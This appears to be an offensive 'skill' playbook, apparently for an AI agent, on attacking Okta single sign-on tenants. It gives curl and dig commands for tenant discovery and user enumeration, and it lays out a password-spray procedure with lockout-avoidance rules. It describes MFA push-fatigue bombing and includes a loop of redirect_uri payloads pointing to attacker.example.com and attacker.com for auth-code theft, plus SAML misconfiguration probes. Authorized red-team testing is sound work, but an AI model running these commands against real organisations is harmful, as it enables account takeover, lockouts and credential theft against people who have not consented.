When to use this skill
Trigger when:
- DNS shows
<tenant>.okta.comor<tenant>.okta-emea.com(EMEA region) - Login flow redirects to
<tenant>.okta.com/loginor/app/<app_id>/sso/saml - Web pages reference
/signin/customize,oktapreview.com, orauth-js-sdk - Recon notes "uses Okta for SSO"
- A target has
*.okta.comSAN in TLS cert - Identity-fabric mapping returns Okta as IdP for a corporate app
DO NOT use for:
- Entra ID (use
m365-entra-attackinstead) - Google Workspace (use
google-workspace-attack— not yet built) - ADFS (different protocol, on-prem)
Tenant discovery
Direct guesses
# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
for region in okta okta-emea oktapreview; do
host="$tenant.$region.com"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo " $host $code"
done
done
Cross-ref from DNS
# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
dig +short "sso.$domain" CNAME
dig +short "login.$domain" CNAME
dig +short "auth.$domain" CNAME
dig +short "okta.$domain" CNAME
done
Cross-ref from app HTTP flow
# Visit corporate-app login, follow redirects
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant
User enumeration
Method 1 — /api/v1/authn differential
The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.
# Probe single user — DON'T spray, this counts as auth attempt!
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<email>","password":"_test_invalid_pw"}'
# Response codes:
# 401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
# 401 + "errorCode":"E0000119" → account locked
# 200 → MFA prompt (cred VALID, MFA needed)
# 200 + "status":"SUCCESS" → full auth (rare in modern setups)
⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.
Method 2 — /api/v1/users/me/factors timing
Some flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.
Method 3 — Sign-in widget JS endpoint
curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
-H "Accept: application/json"
# Response varies by tenant config
Method 4 — Org-specific identifier probing
Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:
firstname.lastname@target.com
firstname_lastname@target.com
flastname@target.com
employeeID@target.com
Method 5 — OIDC /v1/authorize with login_hint
# Tampering with login_hint param can reveal user existence on some configs
curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't
Authentication flow analysis (always do this first)
# Initial auth — observe what factors come back
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool
Response structure reveals factor configuration:
{
"stateToken": "00ABC...",
"factorResult": "WAITING",
"status": "MFA_REQUIRED",
"_embedded": {
"factors": [
{"factorType": "push", "provider": "OKTA"},
{"factorType": "token:software:totp", "provider": "OKTA"},
{"factorType": "sms", "provider": "OKTA"},
{"factorType": "call", "provider": "OKTA"},
{"factorType": "email", "provider": "OKTA"},
{"factorType": "question", "provider": "OKTA"},
{"factorType": "webauthn", "provider": "FIDO"}
]
}
}
Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:
webauthn(FIDO2) — phishing-resistantquestion(security questions) — extremely weak; KBA attackssms/call— phishing-able (push notification fatigue, SIM swap)push— phishing-able via MFA fatigueemail— phishing-able if attacker has email read accesstotp— phishing-able via AiTM
Password spray (with Okta-specific lockout discipline)
Lockout policy
Okta default: 10 failed sign-ins → lockout (configurable per-org). Some orgs configure much stricter (3 fails).
Discipline:
- ≤2 attempts per user lifetime per engagement (safer than 1 in Entra because Okta lockout is sometimes 3 fails)
- Track per-user in atomic state file
- Stop on first valid hit OR if LOCKED rate exceeds threshold
Spray endpoint
# Same /api/v1/authn — see authentication flow above
Status codes to watch for
| Response | Meaning |
|---|---|
200 status=MFA_REQUIRED | Password is VALID — MFA challenge waiting |
200 status=SUCCESS + sessionToken | Full auth (only if MFA not required for this user) |
200 status=PASSWORD_EXPIRED | Password is VALID but user must change it |
200 status=LOCKED_OUT | Account locked (pre-existing or our cause) |
401 E0000004 | Authentication failed (user doesn't exist OR wrong password — Okta unifies) |
401 E0000119 | User is locked |
429 | Rate-limit hit |
Push-notification fatigue (MFA bombing)
If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.
⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.
Detection-only check (does target allow it?)
# Initiate factor verification
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
-H "Content-Type: application/json" \
-d '{"stateToken":"<from_authn>"}'
# A real test would loop this — DON'T do that without explicit OK
OIDC redirect_uri tampering
Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:
# Get the app's authorize endpoint
curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool
# Test redirect_uri injection
for ruri in \
"https://attacker.example.com/" \
"https://target.com.attacker.com/" \
"https://target.com@attacker.com/" \
"https://target.com#@attacker.com/" \
"https://target.com\\@attacker.com/" \
"//attacker.com/" \
"https://target.com/cb?next=https://attacker.com/"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" \
"https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
echo " $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain
SAML SP misconfiguration check (per-app)
Each Okta SAML app has its own SP metadata:
# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"
# Look for:
# AuthnRequestsSigned="false" ← see hunt-saml for XSW
# WantAssertionsSigned="false" ← assertion-replay possible
# <NameIDFormat>...email